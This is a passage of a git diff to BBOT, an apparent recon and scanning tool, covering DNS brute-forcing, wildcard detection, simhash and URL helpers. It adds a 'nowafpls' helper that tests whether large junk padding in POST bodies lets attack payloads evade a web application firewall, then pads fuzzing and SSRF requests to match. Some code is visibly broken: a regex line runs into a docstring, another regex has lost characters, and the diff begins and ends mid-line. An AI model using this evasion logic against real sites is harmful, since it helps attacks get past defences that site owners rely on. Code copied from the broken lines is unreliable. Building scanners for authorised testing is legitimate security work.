``resolve_batch_full`` rather than ``resolve_batch`` so failures stay + visible: a query that ran out of retries is a silently missed subdomain, + which is the one error brute-forcing must not hide. """ - resolver_file = await self.resolver_file() - command = ( - "massdns", - "-r", - resolver_file, - "-s", - self.max_resolvers, - "-t", - rdtype, - "-o", - "J", - "-q", - ) - subdomains = self.gen_subdomains(subdomains, domain) + client = await self.client() + queries = self.gen_subdomains(subdomains, domain) + suffix = f".{domain}" hosts_yielded = set() + answered = 0 + empty = 0 + failed = 0 + + # Runs are serialized by dnsbrute_lock, so a stats snapshot taken here + # describes this run and no other. async with self.dnsbrute_lock: - async for line in module.run_process_live(*command, stderr=subprocess.DEVNULL, input=subdomains): - try: - j = json.loads(line) - except json.decoder.JSONDecodeError: - self.log.debug(f"Failed to decode line: {line}") + before = {s.resolver: s for s in client.stats()} + async for host, result in client.resolve_batch_full(queries, rdtype): + if isinstance(result, DNSError): + failed += 1 continue - answers = j.get("data", {}).get("answers", []) - if type(answers) == list and len(answers) > 0: - answer = answers[0] - hostname = answer.get("name", "").strip(".").lower() - if hostname.endswith(f".{domain}"): - data = answer.get("data", "") - rdtype = answer.get("type", "").upper() - if data and rdtype: - hostname_hash = hash(hostname) - if hostname_hash not in hosts_yielded: - hosts_yielded.add(hostname_hash) - yield hostname, data, rdtype - - async def gen_subdomains(self, prefixes, domain): + if not result.response.answers: + empty += 1 + continue + answered += 1 + + # A CNAME can point anywhere; only names under the domain we + # asked about are subdomains of it. + hostname = host.strip(".").lower() + if not hostname.endswith(suffix) or hostname in hosts_yielded: + continue + hosts_yielded.add(hostname) + yield hostname + after = client.stats() + + self._log_delivery(domain, answered, empty, failed, before, after) + + def _log_delivery(self, domain, answered, empty, failed, before, after): + """Report how much of the wordlist actually got an answer. + + A run that silently drops queries looks identical to one that found + nothing, so unanswered queries are worth surfacing. When a meaningful + share went unanswered, also report the resolver-side picture, since + otherwise there's no way to tell rate-limiting apart from backoff. + """ + total = answered + empty + failed + if not total: + return + message = f"Brute-force of {domain}: {answered:,} resolved, {empty:,} no record, {failed:,} unanswered" + if failed / total <= 0.05: + self.log.verbose(message) + return + + used = 0 + timeouts = 0 + paced = 0 + for stats in after: + previous = before.get(stats.resolver) + if stats.attempted - (previous.attempted if previous else 0): + used += 1 + timeouts += stats.timeout - (previous.timeout if previous else 0) + if stats.rate_qps is not None: + paced += 1 + self.log.warning( + f"{message} ({failed / total:.0%} unanswered, results may be incomplete). " + f"{used:,} resolvers used, {paced:,} throttled by backoff, {timeouts:,} timeouts" + ) + + def gen_subdomains(self, prefixes, domain): for p in prefixes: if domain: p = f"{p}.{domain}" @@ -158,12 +217,20 @@ async def resolver_file(self): cache_hrs=24 * 7, ) nameservers = set(self.parent_helper.read_file(self._resolver_file_original)) - nameservers.difference_update(self.parent_helper.dns.system_resolvers) - # exclude system nameservers from brute-force + # exclude whatever the main DNS path is using, custom or system # this helps prevent rate-limiting which might cause BBOT's main dns queries to fail + # compare by host, since our resolvers may carry a port (8.8.8.8:53) while the brute list is bare IPs + excluded_hosts = {self._resolver_host(r) for r in self.parent_helper.dns.resolvers} + nameservers = {n for n in nameservers if self._resolver_host(n) not in excluded_hosts} self._resolver_file = self.parent_helper.tempfile(nameservers, pipe=False) return self._resolver_file + def _resolver_host(self, resolver): + try: + return str(self.parent_helper.split_host_port(resolver)[0]) + except ValueError: + return resolver + def gen_random_subdomains(self, n=50): delimiters = (".", "-") lengths = list(range(3, 8)) diff --git a/bbot/core/helpers/dns/dns.py b/bbot/core/helpers/dns/dns.py index c9b59e6cc3..b5e2f1a5e9 100644 --- a/bbot/core/helpers/dns/dns.py +++ b/bbot/core/helpers/dns/dns.py @@ -10,6 +10,7 @@ from blastdns.exceptions import BlastDNSError from bbot.core.helpers.async_helpers import NamedLock, async_cachedmethod +from bbot.errors import ValidationError from .helpers import all_rdtypes, extract_targets, record_to_text from ..misc import clean_dns_record, domain_parents, is_dns_name, is_domain, is_ip, parent_domain, rand_string @@ -44,28 +45,45 @@ def __init__(self, parent_helper): # config self.timeout = self.dns_config.get("timeout", 5) self.retries = self.dns_config.get("retries", 5) - self.threads = self.dns_config.get("threads", 5) + self.threads = self.dns_config.get("threads", 50) + self.max_concurrency = self.dns_config.get("max_concurrency", 256) self.cache_size = self.dns_config.get("cache_size", 10000) self.abort_threshold = self.dns_config.get("abort_threshold", 50) # how many consecutive DNS resolution hops we allow before tagging an event as runaway self.runaway_limit = self.dns_config.get("runaway_limit", 5) - # blastdns client + # resolvers: operator-supplied nameservers replace the OS ones entirely. + # system_resolvers keeps meaning "what the OS reported"; self.resolvers is + # what we actually query. self.system_resolvers = get_system_resolvers() + custom_nameservers = self.dns_config.get("nameservers", None) or [] + if custom_nameservers: + self.resolvers = list(custom_nameservers) + self.log.info(f"Using {len(self.resolvers):,} custom nameserver(s) instead of system resolvers") + else: + self.resolvers = list(self.system_resolvers) + self.log.debug( - f"Starting BlastDNS client with {self.threads} threads per resolver, " + f"Starting BlastDNS client with {self.threads} queries in flight per resolver " + f"({self.concurrency:,} total), " f"{self.retries} retries, {self.cache_size} cache size, " f"and {self.timeout} second timeout" ) - self.blastdns = Client( - self.system_resolvers, - ClientConfig( - request_timeout_ms=self.timeout * 1000, - max_retries=self.retries, - threads_per_resolver=self.threads, - cache_capacity=self.cache_size, - ), - ) + try: + self.blastdns = Client( + self.resolvers, + ClientConfig( + request_timeout_ms=self.timeout * 1000, + max_retries=self.retries, + max_inflight_per_resolver=self.threads, + max_concurrency=self.max_concurrency, + cache_capacity=self.cache_size, + ), + ) + except BlastDNSError as e: + # blastdns validates resolver addresses; surface which setting is at fault + source = "dns.nameservers" if custom_nameservers else "system resolvers" + raise ValidationError(f"Error in {source}: {e}") from e # parse dns.omit_queries (e.g. "A:internal.bad.com") into {rdtype: {host, ...}} self.dns_omit_queries = {} @@ -91,8 +109,8 @@ def __init__(self, parent_helper): self._last_dns_success = None self._last_connectivity_warning = time.time() - # copy the system's current resolvers to a text file for tool use - self.resolver_file = self.parent_helper.tempfile(self.system_resolvers, pipe=False) + # copy the resolvers we're using to a text file for tool use + self.resolver_file = self.parent_helper.tempfile(self.resolvers, pipe=False) # brute force helper self._brute = None @@ -101,6 +119,11 @@ def __init__(self, parent_helper): self._is_wildcard_cache = LFUCache(maxsize=1000) self._is_wildcard_domain_cache = LFUCache(maxsize=1000) + @property + def concurrency(self): + """How many queries the client can have in flight at once, across all resolvers.""" + return min(self.threads * len(self.resolvers), self.max_concurrency) + # ------------------------------------------------------------------ # Resolution -- thin pass-throughs to blastdns. Anything more complex # belongs in a caller that knows the exact shape it wants. @@ -229,34 +252,26 @@ async def is_wildcard(self, query, rdtypes, raw_dns_records=None): if not raw_dns_records: return result - rdtypes_to_check = set(raw_dns_records) - - # walk parent domains shortest-first, comparing baseline against any wildcard pool - parents = list(domain_parents(query)) - for parent in parents[::-1]: - wildcard_results = await self.is_wildcard_domain(parent, rdtypes_to_check) - - for rdtype in list(baseline_raw): - if rdtype in result: - continue - - _baseline = baseline.get(rdtype, set()) - _baseline_raw = baseline_raw.get(rdtype, set()) - - wildcard_rdtypes = wildcard_results.get(parent, {}) - wildcards = wildcard_rdtypes.get(rdtype) - if wildcards is None: + # walk parent domains shortest-first, stopping at the first wildcard pool that contains the baseline. + # a non-matching pool may belong to an outer zone with a nested wildcard below it, so keep descending. + possible = {} + for parent in list(domain_parents(query))[::-1]: + rdtypes_to_check = [rdtype for rdtype in baseline_raw if rdtype not in result] + if not rdtypes_to_check: + break + zones = await asyncio.gather(*[self._is_wildcard_zone(parent, rdtype) for rdtype in rdtypes_to_check]) + for rdtype, (wildcards, wildcard_raw) in zip(rdtypes_to_check, zones): + if not wildcard_raw: continue - wildcards, wildcard_raw = wildcards + is_wc = any(r in wildcards for r in baseline.get(rdtype, set())) + is_wc_raw = any(r in wildcard_raw for r in baseline_raw[rdtype]) + if is_wc or is_wc_raw: + result[rdtype] = (True, parent) + else: + possible.setdefault(rdtype, ("POSSIBLE", parent)) - if wildcard_raw: - rdtypes_to_check.discard(rdtype) - is_wc = any(r in wildcards for r in _baseline) - is_wc_raw = any(r in wildcard_raw for r in _baseline_raw) - if is_wc or is_wc_raw: - result[rdtype] = (True, parent) - else: - result[rdtype] = ("POSSIBLE", parent) + for rdtype, verdict in possible.items(): + result.setdefault(rdtype, verdict) for rdtype, answers in baseline_raw.items(): if answers and rdtype not in result: @@ -269,7 +284,7 @@ async def is_wildcard(self, query, rdtypes, raw_dns_records=None): key=lambda domain, rdtypes: (domain, tuple(sorted(rdtypes))), ) async def is_wildcard_domain(self, domain, rdtypes): - """For each parent of ``domain``, return the wildcard pool per rdtype. + """For each rdtype, return the wildcard pool of the shallowest wildcard parent of ``domain``. Returns ``{parent: {rdtype: (hosts_set, raw_text_set)}}``. """ @@ -430,11 +445,19 @@ def brute(self): return self._brute async def _mock_dns(self, mock_data): - """Swap the underlying client for a ``MockClient`` configured with ``mock_data``.""" + """Swap the underlying clients for ``MockClient``s configured with ``mock_data``. + + The brute-force helper has its own client, so it has to be mocked too or + brute-forcing modules would reach the network during tests. + """ mock_client = MockClient() mock_client.mock_dns(mock_data) self.blastdns = mock_client + brute_mock = MockClient() + brute_mock.mock_dns(mock_data) + self.brute._client = brute_mock + @staticmethod def _empty_result(host=""): """Build a minimal ``DNSResult`` with no answers, for use as a safe fallback.""" diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index a4bf2a1572..4f6bd9550b 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -7,7 +7,7 @@ import logging from pathlib import Path import multiprocessing as mp -from functools import partial +from functools import partial, lru_cache from concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor from . import misc @@ -15,6 +15,7 @@ from .dns import DNSHelper from .web import WebHelper from .diff import HttpCompare +from .nowafpls import NowafplsHelper from .regex import RegexHelper from .wordcloud import WordCloud from .interactsh import Interactsh @@ -30,6 +31,13 @@ _PR_SET_PDEATHSIG = 1 +@lru_cache(maxsize=2) +def _shared_cloudcheck(ssl_verify): + from cloudcheck import CloudCheck + + return CloudCheck(verify_ssl=ssl_verify) + + def _pool_worker_init(): """Set PR_SET_PDEATHSIG so pool workers die when the parent process dies. @@ -77,16 +85,19 @@ class ConfigAwareHelper: from . import regexes from . import validators from .files import tempfile, feed_pipe, _feed_pipe, tempfile_tail - from .cache import cache_get, cache_put, cache_filename, is_cached + from .cache import cache_get, cache_put, cache_filename, is_cached, is_fresh from .command import run, run_live, _spawn_proc, _prepare_command_kwargs def __init__(self, preset): self.preset = preset self.bbot_home = self.preset.bbot_home - self.cache_dir = self.bbot_home / "cache" - self.temp_dir = self.bbot_home / "temp" - self.tools_dir = self.bbot_home / "tools" - self.lib_dir = self.bbot_home / "lib" + # deps_home is bbot_home unless BBOT_SHARED_DEPS_DIR redirects the install-once + # dirs elsewhere; see BBOTCore.deps_home. + self.deps_home = self.preset.deps_home + self.cache_dir = self.deps_home / "cache" + self.tools_dir = self.deps_home / "tools" + self.lib_dir = self.deps_home / "lib" + self.temp_dir = self.deps_home / "temp" self.scans_dir = self.bbot_home / "scans" self.wordlist_dir = Path(__file__).parent.parent.parent / "wordlists" self.current_dir = Path.cwd() @@ -116,6 +127,7 @@ def __init__(self, preset): self._asn = None self._cloudcheck = None self._asn = None + self._nowafpls = None self.config_aware_validators = self.validators.Validators(self) self.depsinstaller = DepsInstaller(self) self.word_cloud = WordCloud(self) @@ -153,12 +165,16 @@ def blasthttp(self): @property def cloudcheck(self): if self._cloudcheck is None: - from cloudcheck import CloudCheck - ssl_verify = self.web_config.get("ssl_verify_infrastructure", True) - self._cloudcheck = CloudCheck(verify_ssl=ssl_verify) + self._cloudcheck = _shared_cloudcheck(ssl_verify) return self._cloudcheck + @property + def nowafpls(self): + if self._nowafpls is None: + self._nowafpls = NowafplsHelper(self) + return self._nowafpls + def bloom_filter(self, size): from .bloom import BloomFilter @@ -262,8 +278,13 @@ def run_in_executor_io(self, callback, *args, **kwargs): def run_in_executor_cpu(self, callback, *args, **kwargs): """ - Run short CPU-bound work that releases the GIL in a dedicated thread pool, - separate from I/O so it never queues behind long-running network calls. + Run short CPU-bound work in a dedicated thread pool, separate from I/O so it + never queues behind long-running network calls. + + This is a thread pool, so it only buys parallelism for work that releases the + GIL (yara). Pure-Python work still runs one call at a time and competes with + the event loop for the GIL, so keep it short. Anything long-running and + GIL-bound belongs in run_in_executor_mp() instead. Examples: Execute callback: @@ -275,7 +296,12 @@ def run_in_executor_cpu(self, callback, *args, **kwargs): async def run_in_executor_mp(self, callback, *args, **kwargs): """ Same as run_in_executor_io() except with a process pool executor. - Use only in cases where callback is CPU-bound. + + Use for CPU-bound work that holds the GIL long enough to stall the event loop, + or that needs crash/hang isolation from hostile input. Arguments and return + values are pickled, so prefer plain data over objects with big object graphs. + Workers are recycled periodically, so this is a poor fit for very high rates of + very short tasks. Includes a timeout (default 300s) to prevent indefinite hangs if a child process dies or the pool enters a broken state. On timeout, the entire pool is terminated and replaced so that stuck workers cannot accumulate and starve the scan. diff --git a/bbot/core/helpers/interactsh.py b/bbot/core/helpers/interactsh.py index e178c6db8a..0d892c5129 100644 --- a/bbot/core/helpers/interactsh.py +++ b/bbot/core/helpers/interactsh.py @@ -78,6 +78,9 @@ class Interactsh: ``` """ + # grace period for in-flight interactions to reach the server before a final poll + SETTLE_INTERVAL = 5 + def __init__(self, parent_helper, poll_interval=10): self.parent_helper = parent_helper self.server = None @@ -87,6 +90,14 @@ def __init__(self, parent_helper, poll_interval=10): self.poll_interval = poll_interval self._poll_task = None + async def settle(self): + """Wait for interactions triggered just before the scan ended to reach the server. + + Round-trip latency is a property of the transport, so mocks override this to zero + rather than every caller hardcoding a sleep. + """ + await asyncio.sleep(self.SETTLE_INTERVAL) + async def register(self, callback=None): """ Registers the instance with an interact.sh server and sets up polling. diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 1baf3da426..1d36a6351f 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -1441,6 +1441,23 @@ def search_dict_by_key(key, d): yield from search_dict_by_key(key, v) +_PLACEHOLDER_REGEX = re.compile(r"#\{(\w+)\}") + + +def _search_format_dict(d, replacements): + # replacements travels by reference; re-splatting it at each node rebuilds + # the whole mapping once per node, making the walk O(nodes * replacements). + if isinstance(d, dict): + return {k: _search_format_dict(v, replacements) for k, v in d.items()} + elif isinstance(d, list): + return [_search_format_dict(v, replacements) for v in d] + elif isinstance(d, str): + if "#{" not in d: + return d + return _PLACEHOLDER_REGEX.sub(lambda m: replacements.get(m.group(1), m.group(0)), d) + return d + + def search_format_dict(d, **kwargs): """Recursively format string values in a dictionary or list using the provided keyword arguments. @@ -1455,15 +1472,7 @@ def search_format_dict(d, **kwargs): >>> search_format_dict({"test": "#{name} is awesome"}, name="keanu") {"test": "keanu is awesome"} """ - if isinstance(d, dict): - return {k: search_format_dict(v, **kwargs) for k, v in d.items()} - elif isinstance(d, list): - return [search_format_dict(v, **kwargs) for v in d] - elif isinstance(d, str): - for find, replace in kwargs.items(): - find = "#{" + str(find) + "}" - d = d.replace(find, replace) - return d + return _search_format_dict(d, kwargs) def search_dict_values(d, *regexes): @@ -2613,6 +2622,36 @@ def weighted_shuffle(items, weights): return [item for _, item in keyed] +cpe_field_regex = re.compile(r"(?>> cpe_product("cpe:/a:jquery:jquery:3.5.1") + 'jquery' + >>> cpe_product("cpe:2.3:a:apache:tomcat:9.0.50:*:*:*:*:*:*:*") + 'tomcat' + """ + if cpe.startswith("cpe:2.3:"): + # 2.3 escapes literal colons with a backslash + fields = [f.replace("\\", "") for f in cpe_field_regex.split(cpe[len("cpe:2.3:") :])] + elif cpe.startswith("cpe:/"): + fields = cpe[len("cpe:/") :].split(":") + else: + return None + # fields are part, vendor, product, version, ... + product = fields[2].lower() if len(fields) > 2 else "" + # "*" and "-" mean ANY and N/A + if product in ("", "*", "-"): + return None + return product + + def parse_port_string(port_string): """ Parses a string containing ports and port ranges into a list of individual ports. diff --git a/bbot/core/helpers/nowafpls.py b/bbot/core/helpers/nowafpls.py new file mode 100644 index 0000000000..dd67be46c2 --- /dev/null +++ b/bbot/core/helpers/nowafpls.py @@ -0,0 +1,244 @@ +import asyncio +import logging +from dataclasses import dataclass, field +from urllib.parse import quote as _urlquote + +from bbot.errors import HttpCompareError + +log = logging.getLogger("bbot.core.helpers.nowafpls") + + +# Padding sizes to try, largest first. A bigger pad is likelier to outrun the WAF's +# inspection buffer, but 1 MiB is exactly nginx's default `client_max_body_size`, so +# the second rung exists to clear that ceiling on origins that enforce it. +DEFAULT_PADDING_SIZES = [1048576, 131072] +DEFAULT_PAYLOAD = "" +# Field name used to carry the junk padding in POST bodies. The double-underscore +# prefix keeps it out of the way of legitimate form fields when lightfuzz merges +# the pad into a real form. +PADDING_FIELD_NAME = "__nowafpls_pad" +# Only an explicit 413 is treated as "the body was too big". A dropped connection is +# ambiguous (the WAF may have killed it), and IIS reports maxAllowedContentLength as a +# plain 404, so neither can be told apart from interference without guessing. +SIZE_REJECTION_CODES = (413,) + + +@dataclass +class BypassResult: + """ + Verdict from a nowafpls probe against a single host. + + `status` is one of the STATUS_* class constants. `bypassed` is a convenience + boolean for the common "should I retry my probe with padding" question. + `padding_size` is the size that produced the verdict, which is what callers + must pad with so the exploit matches what was actually tested. + """ + + STATUS_NO_INTERFERENCE = "no_interference" + STATUS_BYPASSED = "bypassed" + STATUS_BLOCKED = "blocked" + STATUS_TOO_LARGE = "too_large" + STATUS_ERROR = "error" + + status: str + padding_size: int = 0 + payload: str = DEFAULT_PAYLOAD + waf_provider: str = "" + error: str = "" + diff_reasons: list = field(default_factory=list) + + @property + def bypassed(self) -> bool: + return self.status == self.STATUS_BYPASSED + + @property + def summary(self) -> str: + """One-line verdict for logging, shared by every consumer of the probe.""" + parts = [f"status={self.status}", f"provider={self.waf_provider or 'unknown'}"] + if self.padding_size: + parts.append(f"padding_size={self.padding_size}") + if self.error: + parts.append(f"error={self.error}") + if self.diff_reasons: + parts.append(f"diff_reasons={','.join(str(r) for r in self.diff_reasons)}") + return " ".join(parts) + + +class NowafplsHelper: + """ + Determine whether a host's WAF / inspection layer can be bypassed by prepending + a large junk padding to the malicious portion of a POST body. + + Detection is provider-agnostic: we baseline the endpoint with a benign body, + then compare the malicious unpadded and malicious padded responses against + that baseline via `helpers.http_compare`. Interpretation: + + * unpadded matches baseline -> nothing was gating the payload; no bypass to demonstrate + * unpadded differs, padded matches -> bypass works + * both differ from baseline -> gate held; padding did not help + * every padding size drew a 413 -> the origin caps body size; padding is unavailable + + A request the WAF kills outright (timeout / connection reset) counts as "differs", + not as a match, so a dropped connection reads as interference rather than acceptance. + + Padding size and payload are owned here rather than passed per call, so that every + consumer (the nowafpls module, lightfuzz, ajaxpro, generic_ssrf) pads with the size + the probe actually validated. + + Results are memoized per host for the scan's lifetime. Concurrent callers hit + the same in-flight `asyncio.Task`, so exactly one probe runs per host. + """ + + def __init__(self, parent_helper): + self.parent_helper = parent_helper + self._per_host: dict[str, asyncio.Task] = {} + web_config = getattr(parent_helper, "web_config", None) or {} + sizes = {int(s) for s in (web_config.get("nowafpls_padding_sizes") or DEFAULT_PADDING_SIZES)} + # descending, so the probe starts with the pad likeliest to clear the inspection buffer + self.padding_sizes = sorted((s for s in sizes if s > 0), reverse=True) or list(DEFAULT_PADDING_SIZES) + self.payload = web_config.get("nowafpls_payload") or DEFAULT_PAYLOAD + + @staticmethod + def pad_value(size: int) -> str: + return "A" * size + + async def is_bypassable(self, event) -> BypassResult: + """ + Probe the host and return a BypassResult. First caller runs the probe; + concurrent callers await the same Task and get the cached verdict. + """ + host = str(event.host) + new_probe = host not in self._per_host + if new_probe: + self._per_host[host] = asyncio.create_task(self._probe(event)) + result = await self._per_host[host] + if new_probe: + # one line per host, so the verdict is on the record regardless of which module asked + log.verbose(f"nowafpls: {event.url}: {result.summary}") + return result + + async def pad_form_body(self, event, body: str) -> str: + """Prepend a large junk field to a form-urlencoded POST body when the host's WAF is + bypassable. No-op for events without a ``waf`` tag or hosts where padding doesn't help. + Callers can drop this in around any adversarial POST body; the return value is either + the original body or the padded version, and callers compare (or track locally) if they + need to know whether the pad was applied.""" + if "waf" not in event.tags: + return body + result = await self.is_bypassable(event) + if not result.bypassed: + return body + pad = f"{PADDING_FIELD_NAME}={self.pad_value(result.padding_size)}" + return f"{pad}&{body}" if body else pad + + async def pad_json(self, event, data): + """Prepend a junk padding key to a JSON dict body when the host's WAF is bypassable. + No-op for events without a ``waf`` tag, non-bypassable hosts, or non-dict bodies.""" + if "waf" not in event.tags or not isinstance(data, dict): + return data + result = await self.is_bypassable(event) + if not result.bypassed: + return data + return {PADDING_FIELD_NAME: self.pad_value(result.padding_size), **data} + + async def _probe(self, event) -> BypassResult: + url = event.url + provider = self._identify_provider(event) + encoded_payload = _urlquote(self.payload, safe="") + benign_body = "q=hello" + unpadded_body = f"q={encoded_payload}" + headers = {"Content-Type": "application/x-www-form-urlencoded"} + + compare = self.parent_helper.http_compare( + url, + method="POST", + data=benign_body, + headers=headers, + include_cache_buster=False, + ) + + try: + match_unpadded, reasons_unpadded, *_ = await compare.compare( + url, method="POST", data=unpadded_body, headers=headers, none_is_match=False + ) + except HttpCompareError as e: + return BypassResult( + status=BypassResult.STATUS_ERROR, + payload=self.payload, + waf_provider=provider, + error=f"could not baseline {url}: {e}", + ) + + if match_unpadded: + return BypassResult( + status=BypassResult.STATUS_NO_INTERFERENCE, + payload=self.payload, + waf_provider=provider, + ) + + # Walk the ladder largest-first, stepping down only on an explicit size rejection. + # A WAF that held at one size will only hold harder at a smaller one, so any other + # outcome is the final verdict. + for padding_size in self.padding_sizes: + log.debug(f"nowafpls: probing {url} with {padding_size} bytes of padding") + padded_body = f"{PADDING_FIELD_NAME}={self.pad_value(padding_size)}&q={encoded_payload}" + try: + match_padded, reasons_padded, _, padded_response = await compare.compare( + url, method="POST", data=padded_body, headers=headers, none_is_match=False + ) + except HttpCompareError as e: + return BypassResult( + status=BypassResult.STATUS_ERROR, + padding_size=padding_size, + payload=self.payload, + waf_provider=provider, + error=f"padded compare failed for {url}: {e}", + diff_reasons=list(reasons_unpadded), + ) + + if padded_response is not None and padded_response.status_code in SIZE_REJECTION_CODES: + log.debug( + f"nowafpls: {url} rejected a {padding_size}-byte pad with " + f"HTTP {padded_response.status_code}; trying a smaller one" + ) + continue + + if match_padded: + return BypassResult( + status=BypassResult.STATUS_BYPASSED, + padding_size=padding_size, + payload=self.payload, + waf_provider=provider, + diff_reasons=list(reasons_unpadded), + ) + return BypassResult( + status=BypassResult.STATUS_BLOCKED, + padding_size=padding_size, + payload=self.payload, + waf_provider=provider, + diff_reasons=list(reasons_padded), + ) + + return BypassResult( + status=BypassResult.STATUS_TOO_LARGE, + padding_size=self.padding_sizes[-1], + payload=self.payload, + waf_provider=provider, + error=f"origin rejected every padding size {self.padding_sizes} as too large", + diff_reasons=list(reasons_unpadded), + ) + + @staticmethod + def _identify_provider(event) -> str: + """ + Look up the WAF/CDN provider name from cloudcheck's host_metadata, if any. + Returns a display-cased name like "Cloudflare" or empty string if unknown. + """ + metadata = getattr(event, "host_metadata", None) or {} + for host_data in metadata.values(): + cloud_providers = host_data.get("cloud_providers") or {} + for name, info in cloud_providers.items(): + types = info.get("types") or [] + if any(t in ("waf", "cdn") for t in types): + return name.title() + return "" diff --git a/bbot/core/helpers/regex.py b/bbot/core/helpers/regex.py index 7a6ec0b9cc..ba7a4a83e1 100644 --- a/bbot/core/helpers/regex.py +++ b/bbot/core/helpers/regex.py @@ -97,9 +97,6 @@ def _finditer_multi(self, compiled_regexes, *args, **kwargs): def _finditer(self, compiled_regex, *args, **kwargs): return list(compiled_regex.finditer(*args, **kwargs)) - async def extract_params_html(self, *args, **kwargs): - return await self.parent_helper.run_in_executor_cpu(misc.extract_params_html, *args, **kwargs) - async def extract_emails(self, *args, **kwargs): return await self.parent_helper.run_in_executor_cpu(misc.extract_emails, *args, **kwargs) diff --git a/bbot/core/helpers/regexes.py b/bbot/core/helpers/regexes.py index 15226ed9d3..62d6505f1a 100644 --- a/bbot/core/helpers/regexes.py +++ b/bbot/core/helpers/regexes.py @@ -203,6 +203,7 @@ r"]*?value=[\"\']?([\-%\._=+\/\w]*)[\"\']?[^>]*?name=[\"\']?([\-\._=+\/\w]+)[\"\']?[^>]*?>" ) tag_attribute_regex = re.compile(r"<[^>]*(?:href|action|src)\s*=\s*[\"\']?(?!mailto:)([^\'\"\>]+)[\"\']?[^>]*>") +base_href_regex = re.compile(r"]*?\shref\s*=\s*[\"\']?([^\'\"\>\s]+)", re.I) _invalid_netloc_chars = r"\s!@#$%^&()=/?\\'\";~`<>" # first char must not be a colon, even though it's a valid char for a netloc diff --git a/bbot/core/helpers/simhash.py b/bbot/core/helpers/simhash.py index e602c2923e..e4ceb24ab6 100644 --- a/bbot/core/helpers/simhash.py +++ b/bbot/core/helpers/simhash.py @@ -1,5 +1,7 @@ -import xxhash import re +import struct +import xxhash +from collections import Counter _non_word_re = re.compile(r"[^\w]+") @@ -13,10 +15,6 @@ def compute_simhash(text, bits=64, truncate=True, normalization_filter=None): """ Static method for computing a SimHash fingerprint. - Designed to be called via run_in_executor_cpu(): the work is short and the - input is truncated to ~3KB inside the helper, so a thread pool avoids the - pickle/spawn overhead of a process pool. - Args: text (str): The text to hash bits (int): Number of bits for the hash. Defaults to 64. @@ -87,19 +85,26 @@ def hash(self, text, truncate=True, normalization_filter=None): if normalization_filter: text = self._normalize_text(text, normalization_filter) - vector = [0] * self.bits features = self._get_features(text) - - for feature in features: - hv = self._hash_feature(feature) - for i in range(self.bits): - bit = (hv >> i) & 1 - vector[i] += 1 if bit else -1 - - # Final fingerprint + num_features = len(features) + + # Tally how many feature hashes have each bit set. Packing the hashes into a + # buffer lets Counter do the counting in C over a byte-strided slice; a plain + # per-bit Python loop costs 64 iterations per feature and dominates the function. + packed = struct.pack(f"<{num_features}Q", *[self._hash_feature(f) for f in features]) + + ones = [0] * 64 + for byte_pos in range(8): + counts = Counter(packed[byte_pos::8]) + for bit_pos in range(8): + mask = 1 << bit_pos + ones[byte_pos * 8 + bit_pos] = sum(count for value, count in counts.items() if value & mask) + + # A bit is set when it appears in at least half the features, i.e. when + # (ones - zeros) >= 0. Bits past 64 are never set, since the hash is 64 bits. fingerprint = 0 - for i, val in enumerate(vector): - if val >= 0: + for i in range(min(self.bits, 64)): + if 2 * ones[i] >= num_features: fingerprint |= 1 << i return fingerprint diff --git a/bbot/core/helpers/url.py b/bbot/core/helpers/url.py index 91c7d8a01b..2d73074152 100644 --- a/bbot/core/helpers/url.py +++ b/bbot/core/helpers/url.py @@ -1,5 +1,6 @@ import uuid import logging +from collections import Counter from contextlib import suppress from urllib.parse import urlparse, parse_qs, urlencode, ParseResult @@ -211,6 +212,46 @@ def hash_url(url): return hash(tuple(to_hash)) +def max_path_param_repeats(url): + """ + Count how many times the most-repeated path parameter appears in a URL's path. + + Path (matrix) parameters are the ";key=value" pieces a server may append to a path + segment; some reissue one on every redirect, so the path grows without bound. Keys are + compared case-insensitively. Ordinary path segments are deliberately not counted: a deep + path that repeats a directory name is finite, and depth is bounded by web_spider_depth. + + Args: + url (Union[str, ParseResult]): The URL to inspect. + + Returns: + int: The highest number of times any single path parameter appears. + + Examples: + >>> max_path_param_repeats('https://www.evilcorp.com/foo/bar') + 0 + + >>> max_path_param_repeats('https://www.evilcorp.com/;JSESSIONID=a;JSESSIONID=b') + 2 + + >>> max_path_param_repeats('https://www.evilcorp.com/app;a=1/b;c=2') + 1 + """ + parsed = url if hasattr(url, "path") else parse_url(url) + # urlparse peels the final segment's matrix parameters off into .params + path = parsed.path + trailing_params = getattr(parsed, "params", "") + if trailing_params: + path = f"{path};{trailing_params}" + counts = Counter() + for segment in path.split("/"): + # the first ";"-delimited piece is the segment itself, not a parameter + for token in segment.split(";")[1:]: + if token: + counts[token.split("=", 1)[0].lower()] += 1 + return max(counts.values(), default=0) + + def url_depth(url): """ Calculate the depth of the given URL based on its path components. diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 1b9c5fc764..4e338dbcf2 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -464,8 +464,8 @@ async def download(self, url, **kwargs): max_size = self.parent_helper.human_to_bytes(max_size) cache_hrs = float(kwargs.pop("cache_hrs", -1)) - if cache_hrs > 0 and self.parent_helper.is_cached(url): - log.debug(f"{url} is cached at {self.parent_helper.cache_filename(url)}") + if cache_hrs > 0 and self.parent_helper.is_fresh(filename, cache_hrs): + log.debug(f"{url} is cached at {filename}") success = True else: try: @@ -723,10 +723,14 @@ async def _probe_wildcard_host(self, scheme, host, port): return "retry" root_url = f"{scheme}://{host}:{port}/" try: - root_match, root_reasons, _, _ = await compare.compare(root_url) + root_match, root_reasons, _, root_response = await compare.compare(root_url, none_is_match=False) except HttpCompareError as e: log.debug(f"is_http_wildcard_host: root probe failed for {host}:{port}: {e}") return "retry" + if root_response is None: + # a dead probe is unknown, not a wildcard verdict + log.debug(f"is_http_wildcard_host: root probe to {host}:{port} returned no response") + return "retry" if not root_match: log.debug( f"is_http_wildcard_host: {host}:{port} root distinct from random-path baseline ({root_reasons}); not a wildcard" @@ -734,64 +738,3 @@ async def _probe_wildcard_host(self, scheme, host, port): return False log.verbose(f"is_http_wildcard_host: {scheme}://{host}:{port} is an HTTP wildcard responder") return compare - - def response_to_json(self, response): - """ - Convert web response to JSON object, to a JSON-serializable dict. - """ - - if response is None: - return - - import mmh3 - from datetime import datetime - from hashlib import md5, sha256 - from bbot.core.helpers.misc import tagify, urlparse, 